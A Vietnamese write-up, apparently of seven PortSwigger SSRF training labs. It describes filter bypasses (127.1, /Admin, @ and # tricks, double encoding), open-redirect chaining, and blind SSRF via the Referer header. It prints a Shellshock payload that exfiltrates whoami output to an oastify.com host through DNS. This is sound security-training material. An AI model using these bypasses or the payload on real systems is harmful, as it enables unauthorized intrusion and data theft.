---
# System prepended metadata

title: Server-side request forgery (SSRF)
tags: [portswigger]

---

# Lab 1: Basic SSRF against the local server
![image](https://hackmd.io/_uploads/rJcJPTWST.png)
Lab này có tính năng kiểm tra hàng tồn kho để lấy dữ liệu từ hệ thống nội bộ.
![image](https://hackmd.io/_uploads/BJddFaZrT.png)

Nó thực hiện điều này bằng cách chuyển đến back-end API endpoint thông qua front-end HTTP request.
![image](https://hackmd.io/_uploads/Hy4ctTZSa.png)
Hệ thống nhận `stockApi` là url (tin tưởng là local rồi) nên trả về số lượng hàng tồn kho như yêu cầu

Ta sẽ khai thác lỗ hổng này để truy cập `/admin` như sau
![image](https://hackmd.io/_uploads/Bk1rnpbHT.png)

Cuối cùng là xóa `carlos`
![image](https://hackmd.io/_uploads/By4j2pZS6.png)
![image](https://hackmd.io/_uploads/SyW626-HT.png)
![image](https://hackmd.io/_uploads/Byd6nTbHa.png)

# Lab 2: Basic SSRF against another back-end system
![image](https://hackmd.io/_uploads/B1mdeAbST.png)

Lab này chỉ cho phép truy cập thông qua IP riêng của nó
![image](https://hackmd.io/_uploads/SJgb-AbrT.png)

Lab đã cung cấp IP:`192.168.0.X`, port: `8080`. Giờ ta sẽ brute-force IP
![image](https://hackmd.io/_uploads/SJy7fAbHT.png)
![image](https://hackmd.io/_uploads/HkgBz0WST.png)

Status 200 và trả về admin, vậy ta tìm được IP là `192.168.0.193`
![image](https://hackmd.io/_uploads/SkhwzRWrT.png)
![image](https://hackmd.io/_uploads/Hky1mRZST.png)
![image](https://hackmd.io/_uploads/rkYWQAWSp.png)
![image](https://hackmd.io/_uploads/BJ17QCbHa.png)

# Lab 3: SSRF with blacklist-based input filter
![image](https://hackmd.io/_uploads/ry_br0-rT.png)

Hệ thống chặn một số hostname như `localhost, 127.0.0.1`
![image](https://hackmd.io/_uploads/rk6urCZS6.png)
![image](https://hackmd.io/_uploads/HkchB0-H6.png)

Bypass bằng cách thay thế bằng `127.1`
![image](https://hackmd.io/_uploads/BJny8CbBp.png)

Tuy nhiên, `/admin` cũng bị chặn 
![image](https://hackmd.io/_uploads/rJd5UAZS6.png)

Sửa thành `/Admin` thì truy cập thành công rùi
![image](https://hackmd.io/_uploads/SyK0UAWSa.png)
![image](https://hackmd.io/_uploads/HJqbvA-Sa.png)
![image](https://hackmd.io/_uploads/SJXMD0ZHp.png)

# Lab 4: SSRF with whitelist-based input filter
![image](https://hackmd.io/_uploads/BJqAPR-B6.png)

Lab này cũng bị lọc hostname, chỉ cho phép `stock.weliketoshop.net`
![image](https://hackmd.io/_uploads/rksDuRWBa.png)

Bypass:
- Sử dụng ký tự @
![image](https://hackmd.io/_uploads/B1ebcCWSp.png)
- Dùng # kết hợp với @
![image](https://hackmd.io/_uploads/BJZz5AZr6.png)
- Encode 2 lần # 
![image](https://hackmd.io/_uploads/Sy4E5RbBp.png)
![image](https://hackmd.io/_uploads/r1x85CZH6.png)
![image](https://hackmd.io/_uploads/BJaI5AbH6.png)

# Lab 5: SSRF with filter bypass via open redirection vulnerability
![image](https://hackmd.io/_uploads/Sy0RhAWB6.png)
![image](https://hackmd.io/_uploads/rkaZl1MBa.png)
Ở lab này, sau khi click vào next product để check stock của sản phẩm tiếp theo ta bắt được request
![image](https://hackmd.io/_uploads/HyQ1CRWHp.png)
Hệ thống được chuyển hướng đến `/product?productId=2`

Ta sẽ khai thác qua tham số `stockApi`
![image](https://hackmd.io/_uploads/S1_jg1frT.png)
Có vẻ hệ thống nghĩ chúng ta đang truyền cả 2 `stockApi` và `path` (path là tham số trong url)

Mã hóa `&` thì chuyển hướng đến product 2 thành công
![image](https://hackmd.io/_uploads/ryKObJGr6.png)

Giờ thì chuyển hướng đến `/admin` thui
![image](https://hackmd.io/_uploads/BkQi-kfH6.png)
![image](https://hackmd.io/_uploads/S1fZG1MSp.png)
![image](https://hackmd.io/_uploads/BJs-MJzST.png)

# Lab 6: Blind SSRF with out-of-band detection
![image](https://hackmd.io/_uploads/rkHbVJGr6.png)
Lab này chứa lỗ hổng blind SSRF.

Request khi xem product 1
![image](https://hackmd.io/_uploads/ByVYSyGST.png)
Header `Referer` chứa URL của trang được truy cập trước khi chúng ta truy cập đến `/product?productId=1`

Thay đổi giá trị header `Referer` thành địa chỉ tới domain Burp Collaborator.
![image](https://hackmd.io/_uploads/Sy53IyfH6.png)
DNS lookup thành công do đó tại header `Referer` có khả năng bị tấn công SSRF.
![image](https://hackmd.io/_uploads/B1eGePyMHT.png)

# Lab 7: Blind SSRF with Shellshock exploitation
![image](https://hackmd.io/_uploads/BJzGD1GHT.png)
- Web sử dụng phần mềm phân tích tìm nạp URL được chỉ định trong header Referer
- Server nội bộ `192.168.0.X`, port `8080`dễ bị Shellshock tấn công
- Mục tiêu lab
    - Tìm server nội bộ
    - Payload shellshock để lấy tên hệ điều hành user

Sử dụng Collaborator Everywhere để kiểm tra
![image](https://hackmd.io/_uploads/HJWh1efSp.png)
`User-Agent` và `Referer` dễ bị tấn công

Cú pháp lệnh [shellshock](https://blog.cloudflare.com/inside-shellshock/) đối với `User-Agent`
```
() { ignored;};arbitrary command
```
Payload:
```
() { ignored;};/usr/bin/nslookup $(whoami).4kpu4owshnnq4ir8voacea1w4nagy6mv.oastify.com
```
Ta phải brute-force địa chỉ IP nữa
![image](https://hackmd.io/_uploads/SJrIgxMrp.png)
![image](https://hackmd.io/_uploads/BkuwlgzST.png)

Xảy xa DNS lookup và nhận được OS user name `peter-rCO0tv`
![image](https://hackmd.io/_uploads/BJxpleMra.png)

Submit
![image](https://hackmd.io/_uploads/B1N4WlMH6.png)


